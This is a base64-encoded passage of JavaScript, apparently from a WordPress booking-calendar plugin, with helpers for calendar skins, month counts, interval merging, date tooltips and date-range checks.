KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5hZGRDbGFzcyggJ3dwYmNfY2FsZW5kYXJfYmx1cicgKTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIFJlbW92ZSBCbHVyIGluICBjYWxlbmRhclxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX2JsdXJfX3N0b3AoIHJlc291cmNlX2lkICl7XHJcblx0XHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnJlbW92ZUNsYXNzKCAnd3BiY19jYWxlbmRhcl9ibHVyJyApO1xyXG5cdH1cclxuXHJcblxyXG5cdC8vIC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uXHJcblx0LyogID09ICBDYWxlbmRhciBVcGRhdGUgIC0gVmlldyAgPT1cclxuXHQvLyAuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLiAqL1xyXG5cclxuXHQvKipcclxuXHQgKiBVcGRhdGUgTG9vayAgb2YgY2FsZW5kYXJcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX3VwZGF0ZV9sb29rKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdHZhciBpbnN0ID0gd3BiY19jYWxlbmRhcl9fZ2V0X2luc3QoIHJlc291cmNlX2lkICk7XHJcblxyXG5cdFx0alF1ZXJ5LmRhdGVwaWNrLl91cGRhdGVEYXRlcGljayggaW5zdCApO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFVwZGF0ZSBkeW5hbWljYWxseSBOdW1iZXIgb2YgTW9udGhzIGluIGNhbGVuZGFyXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWQgaW50XHJcblx0ICogQHBhcmFtIG1vbnRoc19udW1iZXIgaW50XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fdXBkYXRlX21vbnRoc19udW1iZXIoIHJlc291cmNlX2lkLCBtb250aHNfbnVtYmVyICl7XHJcblx0XHR2YXIgaW5zdCA9IHdwYmNfY2FsZW5kYXJfX2dldF9pbnN0KCByZXNvdXJjZV9pZCApO1xyXG5cdFx0aWYgKCBudWxsICE9PSBpbnN0ICl7XHJcblx0XHRcdGluc3Quc2V0dGluZ3NbICdudW1iZXJPZk1vbnRocycgXSA9IG1vbnRoc19udW1iZXI7XHJcblx0XHRcdC8vX3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdjYWxlbmRhcl9udW1iZXJfb2ZfbW9udGhzJywgbW9udGhzX251bWJlciApO1xyXG5cdFx0XHR3cGJjX2NhbGVuZGFyX191cGRhdGVfbG9vayggcmVzb3VyY2VfaWQgKTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBTaG93IGNhbGVuZGFyIGluICBkaWZmZXJlbnQgU2tpblxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHNlbGVjdGVkX3NraW5fdXJsXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19fY2FsZW5kYXJfX2NoYW5nZV9za2luKCBzZWxlY3RlZF9za2luX3VybCApe1xyXG5cclxuXHQvL2NvbnNvbGUubG9nKCAnU0tJTiBTRUxFQ1RJT04gOjonLCBzZWxlY3RlZF9za2luX3VybCApO1xyXG5cclxuXHRcdC8vIFJlbW92ZSBDU1Mgc2tpblxyXG5cdFx0dmFyIHN0eWxlc2hlZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCggJ3dwYmMtY2FsZW5kYXItc2tpbi1jc3MnICk7XHJcblx0XHRzdHlsZXNoZWV0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoIHN0eWxlc2hlZXQgKTtcclxuXHJcblxyXG5cdFx0Ly8gQWRkIG5ldyBDU1Mgc2tpblxyXG5cdFx0dmFyIGhlYWRJRCA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCBcImhlYWRcIiApWyAwIF07XHJcblx0XHR2YXIgY3NzTm9kZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoICdsaW5rJyApO1xyXG5cdFx0Y3NzTm9kZS50eXBlID0gJ3RleHQvY3NzJztcclxuXHRcdGNzc05vZGUuc2V0QXR0cmlidXRlKCBcImlkXCIsIFwid3BiYy1jYWxlbmRhci1za2luLWNzc1wiICk7XHJcblx0XHRjc3NOb2RlLnJlbCA9ICdzdHlsZXNoZWV0JztcclxuXHRcdGNzc05vZGUubWVkaWEgPSAnc2NyZWVuJztcclxuXHRcdGNzc05vZGUuaHJlZiA9IHNlbGVjdGVkX3NraW5fdXJsO1x0Ly9cImh0dHA6Ly9iZXRhL3dwLWNvbnRlbnQvcGx1Z2lucy9ib29raW5nL2Nzcy9za2lucy9ncmVlbi0wMS5jc3NcIjtcclxuXHRcdGhlYWRJRC5hcHBlbmRDaGlsZCggY3NzTm9kZSApO1xyXG5cdH1cclxuXHJcblxyXG5cdGZ1bmN0aW9uIHdwYmNfX2Nzc19fY2hhbmdlX3NraW4oIHNlbGVjdGVkX3NraW5fdXJsLCBzdHlsZXNoZWV0X2lkID0gJ3dwYmMtdGltZV9waWNrZXItc2tpbi1jc3MnICl7XHJcblxyXG5cdFx0Ly8gUmVtb3ZlIENTUyBza2luXHJcblx0XHR2YXIgc3R5bGVzaGVldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCBzdHlsZXNoZWV0X2lkICk7XHJcblx0XHRzdHlsZXNoZWV0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoIHN0eWxlc2hlZXQgKTtcclxuXHJcblxyXG5cdFx0Ly8gQWRkIG5ldyBDU1Mgc2tpblxyXG5cdFx0dmFyIGhlYWRJRCA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCBcImhlYWRcIiApWyAwIF07XHJcblx0XHR2YXIgY3NzTm9kZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoICdsaW5rJyApO1xyXG5cdFx0Y3NzTm9kZS50eXBlID0gJ3RleHQvY3NzJztcclxuXHRcdGNzc05vZGUuc2V0QXR0cmlidXRlKCBcImlkXCIsIHN0eWxlc2hlZXRfaWQgKTtcclxuXHRcdGNzc05vZGUucmVsID0gJ3N0eWxlc2hlZXQnO1xyXG5cdFx0Y3NzTm9kZS5tZWRpYSA9ICdzY3JlZW4nO1xyXG5cdFx0Y3NzTm9kZS5ocmVmID0gc2VsZWN0ZWRfc2tpbl91cmw7XHQvL1wiaHR0cDovL2JldGEvd3AtY29udGVudC9wbHVnaW5zL2Jvb2tpbmcvY3NzL3NraW5zL2dyZWVuLTAxLmNzc1wiO1xyXG5cdFx0aGVhZElELmFwcGVuZENoaWxkKCBjc3NOb2RlICk7XHJcblx0fVxyXG5cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vKiAgPT0gIFMgVSBQIFAgTyBSIFQgICAgTSBBIFQgSCAgPT1cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBNZXJnZSBzZXZlcmFsICBpbnRlcnNlY3RlZCBpbnRlcnZhbHMgb3IgcmV0dXJuIG5vdCBpbnRlcnNlY3RlZDogICAgICAgICAgICAgICAgICAgICAgICBbWzEsM10sWzIsNl0sWzgsMTBdLFsxNSwxOF1dICAtPiAgIFtbMSw2XSxbOCwxMF0sWzE1LDE4XV1cclxuXHRcdCAqXHJcblx0XHQgKiBAcGFyYW0gW10gaW50ZXJ2YWxzXHRcdFx0IFsgWzEsM10sWzIsNF0sWzYsOF0sWzksMTBdLFszLDddIF1cclxuXHRcdCAqIEByZXR1cm5zIFtdXHRcdFx0XHRcdCBbIFsxLDhdLFs5LDEwXSBdXHJcblx0XHQgKlxyXG5cdFx0ICogRXhtYW1wbGU6IHdwYmNfaW50ZXJ2YWxzX19tZXJnZV9pbmVyc2VjdGVkKCAgWyBbMSwzXSxbMiw0XSxbNiw4XSxbOSwxMF0sWzMsN10gXSAgKTtcclxuXHRcdCAqL1xyXG5cdFx0ZnVuY3Rpb24gd3BiY19pbnRlcnZhbHNfX21lcmdlX2luZXJzZWN0ZWQoIGludGVydmFscyApe1xyXG5cclxuXHRcdFx0aWYgKCAhIGludGVydmFscyB8fCBpbnRlcnZhbHMubGVuZ3RoID09PSAwICl7XHJcblx0XHRcdFx0cmV0dXJuIFtdO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHR2YXIgbWVyZ2VkID0gW107XHJcblx0XHRcdGludGVydmFscy5zb3J0KCBmdW5jdGlvbiAoIGEsIGIgKXtcclxuXHRcdFx0XHRyZXR1cm4gYVsgMCBdIC0gYlsgMCBdO1xyXG5cdFx0XHR9ICk7XHJcblxyXG5cdFx0XHR2YXIgbWVyZ2VkSW50ZXJ2YWwgPSBpbnRlcnZhbHNbIDAgXTtcclxuXHJcblx0XHRcdGZvciAoIHZhciBpID0gMTsgaSA8IGludGVydmFscy5sZW5ndGg7IGkrKyApe1xyXG5cdFx0XHRcdHZhciBpbnRlcnZhbCA9IGludGVydmFsc1sgaSBdO1xyXG5cclxuXHRcdFx0XHRpZiAoIGludGVydmFsWyAwIF0gPD0gbWVyZ2VkSW50ZXJ2YWxbIDEgXSApe1xyXG5cdFx0XHRcdFx0bWVyZ2VkSW50ZXJ2YWxbIDEgXSA9IE1hdGgubWF4KCBtZXJnZWRJbnRlcnZhbFsgMSBdLCBpbnRlcnZhbFsgMSBdICk7XHJcblx0XHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHRcdG1lcmdlZC5wdXNoKCBtZXJnZWRJbnRlcnZhbCApO1xyXG5cdFx0XHRcdFx0bWVyZ2VkSW50ZXJ2YWwgPSBpbnRlcnZhbDtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdG1lcmdlZC5wdXNoKCBtZXJnZWRJbnRlcnZhbCApO1xyXG5cdFx0XHRyZXR1cm4gbWVyZ2VkO1xyXG5cdFx0fVxyXG5cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIElzIDIgaW50ZXJ2YWxzIGludGVyc2VjdGVkOiAgICAgICBbMzYwMTEsIDg2MzkyXSAgICA8PT4gICAgWzEsIDQzMTkyXSAgPT4gIHRydWUgICAgICAoIGludGVyc2VjdGVkIClcclxuXHRcdCAqXHJcblx0XHQgKiBHb29kIGV4cGxhbmF0aW9uICBoZXJlIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzMyNjk0MzQvd2hhdHMtdGhlLW1vc3QtZWZmaWNpZW50LXdheS10by10ZXN0LWlmLXR3by1yYW5nZXMtb3ZlcmxhcFxyXG5cdFx0ICpcclxuXHRcdCAqIEBwYXJhbSAgaW50ZXJ2YWxfQSAgIC0gWyAzNjAxMSwgODYzOTIgXVxyXG5cdFx0ICogQHBhcmFtICBpbnRlcnZhbF9CICAgLSBbICAgICAxLCA0MzE5MiBdXHJcblx0XHQgKlxyXG5cdFx0ICogQHJldHVybiBib29sXHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfaW50ZXJ2YWxzX19pc19pbnRlcnNlY3RlZCggaW50ZXJ2YWxfQSwgaW50ZXJ2YWxfQiApIHtcclxuXHJcblx0XHRcdGlmIChcclxuXHRcdFx0XHRcdCggMCA9PSBpbnRlcnZhbF9BLmxlbmd0aCApXHJcblx0XHRcdFx0IHx8ICggMCA9PSBpbnRlcnZhbF9CLmxlbmd0aCApXHJcblx0XHRcdCl7XHJcblx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHRpbnRlcnZhbF9BWyAwIF0gPSBwYXJzZUludCggaW50ZXJ2YWxfQVsgMCBdICk7XHJcblx0XHRcdGludGVydmFsX0FbIDEgXSA9IHBhcnNlSW50KCBpbnRlcnZhbF9BWyAxIF0gKTtcclxuXHRcdFx0aW50ZXJ2YWxfQlsgMCBdID0gcGFyc2VJbnQoIGludGVydmFsX0JbIDAgXSApO1xyXG5cdFx0XHRpbnRlcnZhbF9CWyAxIF0gPSBwYXJzZUludCggaW50ZXJ2YWxfQlsgMSBdICk7XHJcblxyXG5cdFx0XHR2YXIgaXNfaW50ZXJzZWN0ZWQgPSBNYXRoLm1heCggaW50ZXJ2YWxfQVsgMCBdLCBpbnRlcnZhbF9CWyAwIF0gKSAtIE1hdGgubWluKCBpbnRlcnZhbF9BWyAxIF0sIGludGVydmFsX0JbIDEgXSApO1xyXG5cclxuXHRcdFx0Ly8gaWYgKCAwID09IGlzX2ludGVyc2VjdGVkICkge1xyXG5cdFx0XHQvL1x0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gU3VjaCByYW5nZXMgZ29pbmcgb25lIGFmdGVyIG90aGVyLCBlLmcuOiBbIDEyLCAxNSBdIGFuZCBbIDE1LCAyMSBdXHJcblx0XHRcdC8vIH1cclxuXHJcblx0XHRcdGlmICggaXNfaW50ZXJzZWN0ZWQgPCAwICkge1xyXG5cdFx0XHRcdHJldHVybiB0cnVlOyAgICAgICAgICAgICAgICAgICAgIC8vIElOVEVSU0VDVEVEXHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHJldHVybiBmYWxzZTsgICAgICAgICAgICAgICAgICAgICAgIC8vIE5vdCBpbnRlcnNlY3RlZFxyXG5cdFx0fVxyXG5cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIEdldCB0aGUgY2xvc2V0cyBBQlMgdmFsdWUgb2YgZWxlbWVudCBpbiBhcnJheSB0byB0aGUgY3VycmVudCBteVZhbHVlXHJcblx0XHQgKlxyXG5cdFx0ICogQHBhcmFtIG15VmFsdWUgXHQtIGludCBlbGVtZW50IHRvIHNlYXJjaCBjbG9zZXQgXHRcdFx0NFxyXG5cdFx0ICogQHBhcmFtIG15QXJyYXlcdC0gYXJyYXkgb2YgZWxlbWVudHMgd2hlcmUgdG8gc2VhcmNoIFx0WzUsOCwxLDddXHJcblx0XHQgKiBAcmV0dXJucyBpbnRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ1XHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfZ2V0X2Fic19jbG9zZXN0X3ZhbHVlX2luX2FyciggbXlWYWx1ZSwgbXlBcnJheSApe1xyXG5cclxuXHRcdFx0aWYgKCBteUFycmF5Lmxlbmd0aCA9PSAwICl7IFx0XHRcdFx0XHRcdFx0XHQvLyBJZiB0aGUgYXJyYXkgaXMgZW1wdHkgLT4gcmV0dXJuICB0aGUgbXlWYWx1ZVxyXG5cdFx0XHRcdHJldHVybiBteVZhbHVlO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHR2YXIgb2JqID0gbXlBcnJheVsgMCBdO1xyXG5cdFx0XHR2YXIgZGlmZiA9IE1hdGguYWJzKCBteVZhbHVlIC0gb2JqICk7ICAgICAgICAgICAgIFx0Ly8gR2V0IGRpc3RhbmNlIGJldHdlZW4gIDFzdCBlbGVtZW50XHJcblx0XHRcdHZhciBjbG9zZXRWYWx1ZSA9IG15QXJyYXlbIDAgXTsgICAgICAgICAgICAgICAgICAgXHRcdFx0Ly8gU2F2ZSAxc3QgZWxlbWVudFxyXG5cclxuXHRcdFx0Zm9yICggdmFyIGkgPSAxOyBpIDwgbXlBcnJheS5sZW5ndGg7IGkrKyApe1xyXG5cdFx0XHRcdG9iaiA9IG15QXJyYXlbIGkgXTtcclxuXHJcblx0XHRcdFx0aWYgKCBNYXRoLmFicyggbXlWYWx1ZSAtIG9iaiApIDwgZGlmZiApeyAgICAgXHRcdFx0Ly8gd2UgZm91bmQgY2xvc2VyIHZhbHVlIC0+IHNhdmUgaXRcclxuXHRcdFx0XHRcdGRpZmYgPSBNYXRoLmFicyggbXlWYWx1ZSAtIG9iaiApO1xyXG5cdFx0XHRcdFx0Y2xvc2V0VmFsdWUgPSBvYmo7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHRyZXR1cm4gY2xvc2V0VmFsdWU7XHJcblx0XHR9XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8qICA9PSAgVCBPIE8gTCBUIEkgUCBTICA9PVxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcblx0LyoqXHJcblx0ICogRGVmaW5lIHRvb2x0aXAgdG8gc2hvdywgIHdoZW4gIG1vdXNlIG92ZXIgRGF0ZSBpbiBDYWxlbmRhclxyXG5cdCAqXHJcblx0ICogQHBhcmFtICB0b29sdGlwX3RleHRcdFx0XHQtIFRleHQgdG8gc2hvd1x0XHRcdFx0J0Jvb2tlZCB0aW1lOiAxMjowMCAtIDEzOjAwPGJyPkNvc3Q6ICQyMC4wMCdcclxuXHQgKiBAcGFyYW0gIHJlc291cmNlX2lkXHRcdFx0LSBJRCBvZiBib29raW5nIHJlc291cmNlXHQnMSdcclxuXHQgKiBAcGFyYW0gIHRkX2NsYXNzXHRcdFx0XHQtIFNRTCBjbGFzc1x0XHRcdFx0XHQnMS05LTIwMjMnXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHRcdFx0XHRcdC0gZGVmaW5lZCB0byBzaG93IG9yIG5vdFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfc2V0X3Rvb2x0aXBfX19mb3JfX2NhbGVuZGFyX2RhdGUoIHRvb2x0aXBfdGV4dCwgcmVzb3VyY2VfaWQsIHRkX2NsYXNzICl7XHJcblxyXG5cdFx0Ly9UT0RPOiBtYWtlIGVzY2FwaW5nIG9mIHRleHQgZm9yIHF1b3Qgc3ltYm9scywgIGFuZCBKUy9IVE1MLi4uXHJcblxyXG5cdFx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKyAnIHRkLmNhbDRkYXRlLScgKyB0ZF9jbGFzcyApLmF0dHIoICdkYXRhLWNvbnRlbnQnLCB0b29sdGlwX3RleHQgKTtcclxuXHJcblx0XHR2YXIgdGRfZWwgPSBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCArICcgdGQuY2FsNGRhdGUtJyArIHRkX2NsYXNzICkuZ2V0KCAwICk7XHRcdFx0XHRcdC8vRml4SW46IDkuMC4xLjFcclxuXHJcblx0XHRpZiAoXHJcblx0XHRcdCAgICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZih0ZF9lbCkgKVxyXG5cdFx0XHQmJiAoIHVuZGVmaW5lZCA9PSB0ZF9lbC5fdGlwcHkgKVxyXG5cdFx0XHQmJiAoICcnICE9PSB0b29sdGlwX3RleHQgKVxyXG5cdFx0KXtcclxuXHJcblx0XHRcdHdwYmNfdGlwcHkoIHRkX2VsICwge1xyXG5cdFx0XHRcdFx0Y29udGVudCggcmVmZXJlbmNlICl7XHJcblxyXG5cdFx0XHRcdFx0XHR2YXIgcG9wb3Zlcl9jb250ZW50ID0gcmVmZXJlbmNlLmdldEF0dHJpYnV0ZSggJ2RhdGEtY29udGVudCcgKTtcclxuXHJcblx0XHRcdFx0XHRcdHJldHVybiAnPGRpdiBjbGFzcz1cInBvcG92ZXIgcG9wb3Zlcl90aXBweVwiPidcclxuXHRcdFx0XHRcdFx0XHRcdFx0KyAnPGRpdiBjbGFzcz1cInBvcG92ZXItY29udGVudFwiPidcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHQrIHBvcG92ZXJfY29udGVudFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQrICc8L2Rpdj4nXHJcblx0XHRcdFx0XHRcdFx0ICsgJzwvZGl2Pic7XHJcblx0XHRcdFx0XHR9LFxyXG5cdFx0XHRcdFx0YWxsb3dIVE1MICAgICAgICA6IHRydWUsXHJcblx0XHRcdFx0XHR0cmlnZ2VyXHRcdFx0IDogJ21vdXNlZW50ZXIgZm9jdXMnLFxyXG5cdFx0XHRcdFx0aW50ZXJhY3RpdmUgICAgICA6IGZhbHNlLFxyXG5cdFx0XHRcdFx0aGlkZU9uQ2xpY2sgICAgICA6IHRydWUsXHJcblx0XHRcdFx0XHRpbnRlcmFjdGl2ZUJvcmRlcjogMTAsXHJcblx0XHRcdFx0XHRtYXhXaWR0aCAgICAgICAgIDogNTUwLFxyXG5cdFx0XHRcdFx0dGhlbWUgICAgICAgICAgICA6ICd3cGJjLXRpcHB5LXRpbWVzJyxcclxuXHRcdFx0XHRcdHBsYWNlbWVudCAgICAgICAgOiAndG9wJyxcclxuXHRcdFx0XHRcdGRlbGF5XHRcdFx0IDogWzQwMCwgMF0sXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogOS40LjIuMlxyXG5cdFx0XHRcdFx0Ly9kZWxheVx0XHRcdCA6IFswLCA5OTk5OTk5OTk5XSxcdFx0XHRcdFx0XHQvLyBEZWJ1Z2UgIHRvb2x0aXBcclxuXHRcdFx0XHRcdGlnbm9yZUF0dHJpYnV0ZXMgOiB0cnVlLFxyXG5cdFx0XHRcdFx0dG91Y2hcdFx0XHQgOiB0cnVlLFx0XHRcdFx0XHRcdFx0XHQvL1snaG9sZCcsIDUwMF0sIC8vIDUwMG1zIGRlbGF5XHRcdFx0XHQvL0ZpeEluOiA5LjIuMS41XHJcblx0XHRcdFx0XHRhcHBlbmRUbzogKCkgPT4gZG9jdW1lbnQuYm9keSxcclxuXHRcdFx0fSk7XHJcblxyXG5cdFx0XHRyZXR1cm4gIHRydWU7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuICBmYWxzZTtcclxuXHR9XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8qICA9PSAgRGF0ZXMgRnVuY3Rpb25zICA9PVxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiBHZXQgbnVtYmVyIG9mIGRhdGVzIGJldHdlZW4gMiBKUyBEYXRlc1xyXG4gKlxyXG4gKiBAcGFyYW0gZGF0ZTFcdFx0SlMgRGF0ZVxyXG4gKiBAcGFyYW0gZGF0ZTJcdFx0SlMgRGF0ZVxyXG4gKiBAcmV0dXJucyB7bnVtYmVyfVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19kYXRlc19fZGF5c19iZXR3ZWVuKGRhdGUxLCBkYXRlMikge1xyXG5cclxuICAgIC8vIFRoZSBudW1iZXIgb2YgbWlsbGlzZWNvbmRzIGluIG9uZSBkYXlcclxuICAgIHZhciBPTkVfREFZID0gMTAwMCAqIDYwICogNjAgKiAyNDtcclxuXHJcbiAgICAvLyBDb252ZXJ0IGJvdGggZGF0ZXMgdG8gbWlsbGlzZWNvbmRzXHJcbiAgICB2YXIgZGF0ZTFfbXMgPSBkYXRlMS5nZXRUaW1lKCk7XHJcbiAgICB2YXIgZGF0ZTJfbXMgPSBkYXRlMi5nZXRUaW1lKCk7XHJcblxyXG4gICAgLy8gQ2FsY3VsYXRlIHRoZSBkaWZmZXJlbmNlIGluIG1pbGxpc2Vjb25kc1xyXG4gICAgdmFyIGRpZmZlcmVuY2VfbXMgPSAgZGF0ZTFfbXMgLSBkYXRlMl9tcztcclxuXHJcbiAgICAvLyBDb252ZXJ0IGJhY2sgdG8gZGF5cyBhbmQgcmV0dXJuXHJcbiAgICByZXR1cm4gTWF0aC5yb3VuZChkaWZmZXJlbmNlX21zL09ORV9EQVkpO1xyXG59XHJcblxyXG5cclxuLyoqXHJcbiAqIENoZWNrICBpZiB0aGlzIGFycmF5ICBvZiBkYXRlcyBpcyBjb25zZWN1dGl2ZSBhcnJheSAgb2YgZGF0ZXMgb3Igbm90LlxyXG4gKiBcdFx0ZS5nLiAgWycyMDI0LTA1LTA5JywnMjAyNC0wNS0xOScsJzIwMjQtMDUtMzAnXSAtPiBmYWxzZVxyXG4gKiBcdFx0ZS5nLiAgWycyMDI0LTA1LTA5JywnMjAyNC0wNS0xMCcsJzIwMjQtMDUtMTEnXSAtPiB0cnVlXHJcbiAqIEBwYXJhbSBzcWxfZGF0ZXNfYXJyXHQgYXJyYXlcdFx0ZS5nLjogWycyMDI0LTA1LTA5JywnMjAyNC0wNS0xOScsJzIwMjQtMDUtMzAnXVxyXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfZGF0ZXNfX2lzX2NvbnNlY3V0aXZlX2RhdGVzX2Fycl9yYW5nZSggc3FsX2RhdGVzX2FyciApe1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjUwXHJcblxyXG5cdGlmICggc3FsX2RhdGVzX2Fyci5sZW5ndGggPiAxICl7XHJcblx0XHR2YXIgcHJldmlvc19kYXRlID0gd3BiY19fZ2V0X19qc19kYXRlKCBzcWxfZGF0ZXNfYXJyWyAwIF0gKTtcclxuXHRcdHZhciBjdXJyZW50X2RhdGU7XHJcblxyXG5cdFx0Zm9yICggdmFyIGkgPSAxOyBpIDwgc3FsX2RhdGVzX2Fyci5sZW5ndGg7IGkrKyApe1xyXG5cdFx0XHRjdXJyZW50X2RhdGUgPSB3cGJjX19nZXRfX2pzX2RhdGUoIHNxbF9kYXRlc19hcnJbaV0gKTtcclxuXHJcblx0XHRcdGlmICggd3BiY19kYXRlc19fZGF5c19iZXR3ZWVuKCBjdXJyZW50X2RhdGUsIHByZXZpb3NfZGF0ZSApICE9IDEgKXtcclxuXHRcdFx0XHRyZXR1cm4gIGZhbHNlO1xyXG5cdFx0XHR9XHJcblxyXG5cdFx0XHRwcmV2aW9zX2RhdGUgPSBjdXJyZW50X2RhdGU7XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHRyZXR1cm4gdHJ1ZTtcclxufVxyXG5cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vKiAgPT0gIEF1dG8gRGF0ZXMgU2VsZWN0aW9uICA9PVxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi9cclxuXHJcbi8qKlxyXG4gKiAgPT0gSG93IHRvICB1c2UgPyA9PVxyXG4gKlxyXG4gKiAgRm9yIERhdGVzIHNlbGVjdGlvbiwgd2UgbmVlZCB0byB1c2UgdGhpcyBsb2dpYyEgICAgIFdlIG5lZWQgc2VsZWN0IHRoZSBkYXRlcyBvbmx5IGFmdGVyIGJvb2tpbmcgZGF0YSBsb2FkZWQhXHJcbiAqXHJcbiAqICBDaGVjayBleGFtcGxlIGJlbGxvdy5cclxuICpcclxuICpcdC8vIEZpcmUgb24gYWxsIGJvb2tpbmcgZGF0ZXMg